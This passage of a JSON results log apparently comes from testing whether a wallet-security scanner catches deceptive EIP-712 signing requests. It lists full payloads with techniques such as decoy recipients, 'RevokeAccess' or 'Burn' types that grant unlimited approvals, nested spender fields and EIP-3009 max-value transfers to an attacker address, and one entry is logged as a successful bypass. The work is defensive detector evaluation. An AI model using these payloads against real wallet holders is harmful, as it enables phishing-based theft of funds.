Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:37:43.867Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:37:53.071Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:38:02.259Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:38:11.437Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:38:20.613Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:38:29.789Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:38:38.943Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:38:48.110Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN14-EIP3009-022", "timestamp": "2026-01-31T16:38:57.299Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x729f5989130797d331e8deabdcbf0322fb45a596b9e9d013bfdf7b80d20a0565\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN14-EIP3009-054", "timestamp": "2026-01-31T16:39:03.840Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x4aeebe11dfe95ed92bb81dadeead1fef8c1796872c931b0cdcd8ce0b5d01eed8\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:39:13.434Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:39:22.590Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:39:31.768Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:39:40.961Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:39:50.134Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:39:59.336Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:40:08.489Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:40:17.650Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:40:26.816Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 